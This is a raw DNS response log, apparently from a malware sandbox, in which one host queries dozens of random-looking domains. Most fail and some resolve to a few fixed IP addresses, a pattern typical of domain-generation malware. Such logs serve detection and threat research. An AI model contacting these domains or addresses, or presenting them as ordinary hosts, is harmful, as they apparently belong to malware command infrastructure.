Jan 5, 2025 10:49:40.001976967 CET	1.1.1.1	192.168.2.4	0x584c	Name error (3)	gjgps.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.359749079 CET	1.1.1.1	192.168.2.4	0xbc84	Name error (3)	bcuiiixkpygtqa.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.414171934 CET	1.1.1.1	192.168.2.4	0xfa9b	Name error (3)	bcuiiixkpygtqa.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:40.794018030 CET	1.1.1.1	192.168.2.4	0xf05a	Name error (3)	owesacumdcaa.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.061625004 CET	1.1.1.1	192.168.2.4	0x171c	Name error (3)	owesacumdcaa.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.457561016 CET	1.1.1.1	192.168.2.4	0xe916	Name error (3)	sevixiextecu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.724446058 CET	1.1.1.1	192.168.2.4	0xfc55	Name error (3)	sevixiextecu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.845308065 CET	1.1.1.1	192.168.2.4	0xbcc2	Name error (3)	gxvvuye.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:41.879295111 CET	1.1.1.1	192.168.2.4	0x99e3	Name error (3)	gxvvuye.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.027195930 CET	1.1.1.1	192.168.2.4	0x5114	Name error (3)	jryck.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.090715885 CET	1.1.1.1	192.168.2.4	0x57e7	Name error (3)	jryck.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.205594063 CET	1.1.1.1	192.168.2.4	0x4ba1	No error (0)	iemfgabqwbmfn.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:42.401002884 CET	1.1.1.1	192.168.2.4	0x2dc0	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:42.401002884 CET	1.1.1.1	192.168.2.4	0x2dc0	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.043421984 CET	1.1.1.1	192.168.2.4	0xccaf	Name error (3)	fwajtywgq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.145618916 CET	1.1.1.1	192.168.2.4	0xcbc9	Name error (3)	fwajtywgq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.535409927 CET	1.1.1.1	192.168.2.4	0x3ae9	Name error (3)	maumej.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.814209938 CET	1.1.1.1	192.168.2.4	0x6296	Name error (3)	maumej.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:43.945538998 CET	1.1.1.1	192.168.2.4	0x3502	Name error (3)	wcwwwdncxrige.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.007407904 CET	1.1.1.1	192.168.2.4	0xbd9	Name error (3)	wcwwwdncxrige.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.156537056 CET	1.1.1.1	192.168.2.4	0x34c2	No error (0)	syymzy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.218482971 CET	1.1.1.1	192.168.2.4	0x19b6	No error (0)	utbidet-ugeas.biz	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 5, 2025 10:49:44.218482971 CET	1.1.1.1	192.168.2.4	0x19b6	No error (0)	77980.bodis.com		199.59.243.228	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.831902981 CET	1.1.1.1	192.168.2.4	0x6613	Name error (3)	ougurobjx.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:44.844867945 CET	1.1.1.1	192.168.2.4	0x5396	Name error (3)	ougurobjx.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.241915941 CET	1.1.1.1	192.168.2.4	0xf0e2	Name error (3)	serwgcac.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.534344912 CET	1.1.1.1	192.168.2.4	0xa31d	Name error (3)	serwgcac.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.680583000 CET	1.1.1.1	192.168.2.4	0x427e	Name error (3)	vmugiwysu.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.842200994 CET	1.1.1.1	192.168.2.4	0x10b2	Name error (3)	vmugiwysu.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:45.985825062 CET	1.1.1.1	192.168.2.4	0x5d2a	Name error (3)	bkwugcapgwa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.096170902 CET	1.1.1.1	192.168.2.4	0xedf2	Name error (3)	bkwugcapgwa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.227880955 CET	1.1.1.1	192.168.2.4	0x8e4d	Name error (3)	qmcpoivieex.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.250500917 CET	1.1.1.1	192.168.2.4	0xa2b1	Name error (3)	qmcpoivieex.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.506289959 CET	1.1.1.1	192.168.2.4	0xa9fc	Name error (3)	moiwoqocgea.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.536931992 CET	1.1.1.1	192.168.2.4	0xef97	Name error (3)	moiwoqocgea.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.656202078 CET	1.1.1.1	192.168.2.4	0x897b	Name error (3)	vkiesfos.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.667965889 CET	1.1.1.1	192.168.2.4	0x6cb4	Name error (3)	vkiesfos.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.786995888 CET	1.1.1.1	192.168.2.4	0x979b	Name error (3)	owfiavtxosgylw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:46.834166050 CET	1.1.1.1	192.168.2.4	0x3fdd	Name error (3)	owfiavtxosgylw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.042714119 CET	1.1.1.1	192.168.2.4	0xdbd6	Name error (3)	sokqc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.146292925 CET	1.1.1.1	192.168.2.4	0xf20b	Name error (3)	sokqc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.278407097 CET	1.1.1.1	192.168.2.4	0xbb9c	Name error (3)	bekenikozeumt.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.335728884 CET	1.1.1.1	192.168.2.4	0x2d69	Name error (3)	bekenikozeumt.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.500541925 CET	1.1.1.1	192.168.2.4	0x6141	Name error (3)	yugny.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.523623943 CET	1.1.1.1	192.168.2.4	0xa54a	Name error (3)	yugny.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.669765949 CET	1.1.1.1	192.168.2.4	0x7966	Name error (3)	gkgyg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.682276011 CET	1.1.1.1	192.168.2.4	0x654b	Name error (3)	gkgyg.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:47.845350027 CET	1.1.1.1	192.168.2.4	0x593d	Name error (3)	odctmlemj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.123249054 CET	1.1.1.1	192.168.2.4	0xfd7	Name error (3)	odctmlemj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.245680094 CET	1.1.1.1	192.168.2.4	0xb2a0	No error (0)	klcqogebeeyf.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.311618090 CET	1.1.1.1	192.168.2.4	0x1647	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.326033115 CET	1.1.1.1	192.168.2.4	0x2f3c	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.698997974 CET	1.1.1.1	192.168.2.4	0x3680	Name error (3)	sfusuj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:48.972692966 CET	1.1.1.1	192.168.2.4	0x4cce	Name error (3)	sfusuj.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.103930950 CET	1.1.1.1	192.168.2.4	0x16b4	Name error (3)	rfnqowosjdyywe.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.220705032 CET	1.1.1.1	192.168.2.4	0xda72	Name error (3)	rfnqowosjdyywe.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.420380116 CET	1.1.1.1	192.168.2.4	0x2fc0	No error (0)	qmyuetbcy.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.483813047 CET	1.1.1.1	192.168.2.4	0xafcd	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.497124910 CET	1.1.1.1	192.168.2.4	0x7d60	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.631566048 CET	1.1.1.1	192.168.2.4	0x5be1	Name error (3)	rewap.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.663630962 CET	1.1.1.1	192.168.2.4	0x1fb5	Name error (3)	rewap.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.819066048 CET	1.1.1.1	192.168.2.4	0x9d94	Name error (3)	qyouhmowxf.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:49.853070021 CET	1.1.1.1	192.168.2.4	0x3877	Name error (3)	qyouhmowxf.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.047666073 CET	1.1.1.1	192.168.2.4	0xab8a	Name error (3)	giwekkjuqcgjut.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.076741934 CET	1.1.1.1	192.168.2.4	0xc38d	Name error (3)	giwekkjuqcgjut.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.204852104 CET	1.1.1.1	192.168.2.4	0xef65	Name error (3)	xuzuvcakfiqoe.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.225929022 CET	1.1.1.1	192.168.2.4	0x8142	Name error (3)	xuzuvcakfiqoe.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.349045992 CET	1.1.1.1	192.168.2.4	0xfb42	Name error (3)	arctcvsoxvcwi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:50.366014004 CET	1.1.1.1	192.168.2.4	0xbfa6	Name error (3)	arctcvsoxvcwi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:51.328459978 CET	1.1.1.1	192.168.2.4	0xed3d	Name error (3)	efwqk.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.154580116 CET	1.1.1.1	192.168.2.4	0xfc12	Name error (3)	efwqk.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.284385920 CET	1.1.1.1	192.168.2.4	0xa6e1	Name error (3)	cuiknmusqatjr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.437772036 CET	1.1.1.1	192.168.2.4	0xc0c9	Name error (3)	cuiknmusqatjr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.764559984 CET	1.1.1.1	192.168.2.4	0x2952	Name error (3)	viasctzogiifus.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.800152063 CET	1.1.1.1	192.168.2.4	0xedb9	Name error (3)	viasctzogiifus.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:52.924700022 CET	1.1.1.1	192.168.2.4	0xb82f	No error (0)	cqgkoeo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.013616085 CET	1.1.1.1	192.168.2.4	0x1beb	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.030394077 CET	1.1.1.1	192.168.2.4	0x4c7a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.159132004 CET	1.1.1.1	192.168.2.4	0x2423	No error (0)	keqqkjggekku.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.213509083 CET	1.1.1.1	192.168.2.4	0x5f4a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.225049019 CET	1.1.1.1	192.168.2.4	0xffa0	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.494371891 CET	1.1.1.1	192.168.2.4	0xe048	Name error (3)	ewqip.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.536094904 CET	1.1.1.1	192.168.2.4	0x4eef	Name error (3)	ewqip.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.685158968 CET	1.1.1.1	192.168.2.4	0x832b	Name error (3)	ecgyy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.843700886 CET	1.1.1.1	192.168.2.4	0x4098	Name error (3)	ecgyy.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:53.998256922 CET	1.1.1.1	192.168.2.4	0x6506	Name error (3)	uogaupijjih.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.270450115 CET	1.1.1.1	192.168.2.4	0x6300	Name error (3)	uogaupijjih.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.420447111 CET	1.1.1.1	192.168.2.4	0xfe47	Name error (3)	edsebunybzlni.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.452800035 CET	1.1.1.1	192.168.2.4	0x3004	Name error (3)	edsebunybzlni.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.766875029 CET	1.1.1.1	192.168.2.4	0x616e	Name error (3)	zucmeoisy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:54.885092020 CET	1.1.1.1	192.168.2.4	0x35d	Name error (3)	zucmeoisy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:55.116369963 CET	1.1.1.1	192.168.2.4	0x7a81	Name error (3)	geefk.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:55.256483078 CET	1.1.1.1	192.168.2.4	0x9e24	Name error (3)	geefk.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:56.315757990 CET	1.1.1.1	192.168.2.4	0x37e6	Name error (3)	fegfnurqf.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:56.389019966 CET	1.1.1.1	192.168.2.4	0x37e6	Name error (3)	fegfnurqf.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:56.936248064 CET	1.1.1.1	192.168.2.4	0xefe8	Name error (3)	fegfnurqf.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.087301970 CET	1.1.1.1	192.168.2.4	0xb273	No error (0)	ayycvow.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.260454893 CET	1.1.1.1	192.168.2.4	0x8650	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.277213097 CET	1.1.1.1	192.168.2.4	0x5ed9	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.410099983 CET	1.1.1.1	192.168.2.4	0x83f0	Name error (3)	muuqeszkbzyvc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.425904036 CET	1.1.1.1	192.168.2.4	0x5962	Name error (3)	muuqeszkbzyvc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.676539898 CET	1.1.1.1	192.168.2.4	0x1f0a	Name error (3)	gbbey.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.789977074 CET	1.1.1.1	192.168.2.4	0x7432	Name error (3)	gbbey.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.910835981 CET	1.1.1.1	192.168.2.4	0xb710	Name error (3)	illicso.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:57.998944998 CET	1.1.1.1	192.168.2.4	0x378a	Name error (3)	illicso.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.004245043 CET	1.1.1.1	192.168.2.4	0xca68	Name error (3)	fgewqtckc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.186028004 CET	1.1.1.1	192.168.2.4	0xd8da	Name error (3)	fgewqtckc.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.352535963 CET	1.1.1.1	192.168.2.4	0x253b	No error (0)	uyoef.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.434406042 CET	1.1.1.1	192.168.2.4	0xaa9	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.445139885 CET	1.1.1.1	192.168.2.4	0x59fb	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.616826057 CET	1.1.1.1	192.168.2.4	0x7c0c	No error (0)	kayxoakdacenu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.728934050 CET	1.1.1.1	192.168.2.4	0xf191	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.739577055 CET	1.1.1.1	192.168.2.4	0xecd7	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.897336006 CET	1.1.1.1	192.168.2.4	0xc20e	Name error (3)	jwwwlfs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:49:59.917439938 CET	1.1.1.1	192.168.2.4	0x6018	Name error (3)	jwwwlfs.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.042449951 CET	1.1.1.1	192.168.2.4	0xa689	Name error (3)	erippglyq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.078072071 CET	1.1.1.1	192.168.2.4	0x3c48	Name error (3)	erippglyq.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.207401037 CET	1.1.1.1	192.168.2.4	0x94a6	Name error (3)	okeye.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.237977028 CET	1.1.1.1	192.168.2.4	0xc25f	Name error (3)	okeye.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.376034021 CET	1.1.1.1	192.168.2.4	0xac1d	Name error (3)	mccxgnl.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.425590038 CET	1.1.1.1	192.168.2.4	0xeda9	Name error (3)	mccxgnl.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.550038099 CET	1.1.1.1	192.168.2.4	0x68f0	Name error (3)	kqqrwe.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.567436934 CET	1.1.1.1	192.168.2.4	0xc51c	Name error (3)	kqqrwe.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.713366985 CET	1.1.1.1	192.168.2.4	0xb5c6	Name error (3)	picyeqabm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.739432096 CET	1.1.1.1	192.168.2.4	0x4a1f	Name error (3)	picyeqabm.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.859781981 CET	1.1.1.1	192.168.2.4	0xc1de	Name error (3)	dnumoaakpuaim.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:00.874293089 CET	1.1.1.1	192.168.2.4	0x5e4e	Name error (3)	dnumoaakpuaim.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.001887083 CET	1.1.1.1	192.168.2.4	0x2aa3	Name error (3)	zfsaiskr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.030827045 CET	1.1.1.1	192.168.2.4	0xfe9c	Name error (3)	zfsaiskr.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.179950953 CET	1.1.1.1	192.168.2.4	0xd692	Name error (3)	njhmvmewskace.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.227750063 CET	1.1.1.1	192.168.2.4	0x4313	Name error (3)	njhmvmewskace.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.346744061 CET	1.1.1.1	192.168.2.4	0x8209	Name error (3)	ycmeufomwa.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.363277912 CET	1.1.1.1	192.168.2.4	0xf40e	Name error (3)	ycmeufomwa.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.515909910 CET	1.1.1.1	192.168.2.4	0x6a5b	Name error (3)	oduoqratgkzcu.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:01.666520119 CET	1.1.1.1	192.168.2.4	0xcc28	Name error (3)	oduoqratgkzcu.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:02.474909067 CET	1.1.1.1	192.168.2.4	0x3f29	Name error (3)	wiqkrwokjwsvk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:02.828516006 CET	1.1.1.1	192.168.2.4	0xef1c	Name error (3)	wiqkrwokjwsvk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:02.963710070 CET	1.1.1.1	192.168.2.4	0xc07	No error (0)	xjamiok.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.139657021 CET	1.1.1.1	192.168.2.4	0x34a3	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.152014971 CET	1.1.1.1	192.168.2.4	0xe70b	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.266319036 CET	1.1.1.1	192.168.2.4	0x6695	Name error (3)	josgkcaposdmo.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.277272940 CET	1.1.1.1	192.168.2.4	0xe534	Name error (3)	josgkcaposdmo.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.392751932 CET	1.1.1.1	192.168.2.4	0x2a98	Name error (3)	kkxwhumceoe.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.418392897 CET	1.1.1.1	192.168.2.4	0x6bf7	Name error (3)	kkxwhumceoe.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.627126932 CET	1.1.1.1	192.168.2.4	0xb3c3	Name error (3)	qsqfo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.751976013 CET	1.1.1.1	192.168.2.4	0x502c	Name error (3)	qsqfo.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.893573046 CET	1.1.1.1	192.168.2.4	0xbfa9	Name error (3)	uuxroicgmfccs.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:03.943058014 CET	1.1.1.1	192.168.2.4	0x9f1f	Name error (3)	uuxroicgmfccs.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.076041937 CET	1.1.1.1	192.168.2.4	0x5077	Name error (3)	aekkzsosqiwcw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.098429918 CET	1.1.1.1	192.168.2.4	0x9153	Name error (3)	aekkzsosqiwcw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:04.306663036 CET	1.1.1.1	192.168.2.4	0xb57e	Name error (3)	moogrlkkiz.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:05.166259050 CET	1.1.1.1	192.168.2.4	0x5d84	Name error (3)	moogrlkkiz.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:05.460712910 CET	1.1.1.1	192.168.2.4	0x5539	Name error (3)	ohedukg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:05.930008888 CET	1.1.1.1	192.168.2.4	0x28c2	Name error (3)	ohedukg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.048043966 CET	1.1.1.1	192.168.2.4	0x2b4f	Name error (3)	asubl.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.063235998 CET	1.1.1.1	192.168.2.4	0xbf39	Name error (3)	asubl.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.188075066 CET	1.1.1.1	192.168.2.4	0x22e7	No error (0)	fenzso.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.231436014 CET	1.1.1.1	192.168.2.4	0xb7d8	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.243644953 CET	1.1.1.1	192.168.2.4	0x4240	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.387270927 CET	1.1.1.1	192.168.2.4	0x96f2	Name error (3)	pqfhae.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:06.654964924 CET	1.1.1.1	192.168.2.4	0x42d0	Name error (3)	pqfhae.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.623014927 CET	1.1.1.1	192.168.2.4	0xd7da	Name error (3)	afxhqqvwyaevec.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.811954021 CET	1.1.1.1	192.168.2.4	0xe2d0	Name error (3)	afxhqqvwyaevec.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.963581085 CET	1.1.1.1	192.168.2.4	0x4e40	No error (0)	chcgdmegy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:07.999814987 CET	1.1.1.1	192.168.2.4	0x4f67	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.013503075 CET	1.1.1.1	192.168.2.4	0xd725	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.141691923 CET	1.1.1.1	192.168.2.4	0xcf8c	Name error (3)	peofsgzewa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.169651985 CET	1.1.1.1	192.168.2.4	0x8dd5	Name error (3)	peofsgzewa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.284960985 CET	1.1.1.1	192.168.2.4	0x93a4	No error (0)	akauuewwtwv.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.430213928 CET	1.1.1.1	192.168.2.4	0x2082	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.444442034 CET	1.1.1.1	192.168.2.4	0x9229	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.609015942 CET	1.1.1.1	192.168.2.4	0x1d9b	Name error (3)	xjomgiao.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.699779034 CET	1.1.1.1	192.168.2.4	0x1597	Name error (3)	xjomgiao.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.833256960 CET	1.1.1.1	192.168.2.4	0x15fe	Name error (3)	gpslyucvigokt.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:08.871682882 CET	1.1.1.1	192.168.2.4	0x516	Name error (3)	gpslyucvigokt.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:50:09.091401100 CET	1.1.1.1	192.168.2.4	0x69b9	Name error (3)	cqvwmraymjhmw.mp	none	none	A (IP address)	IN (0x0001)	false
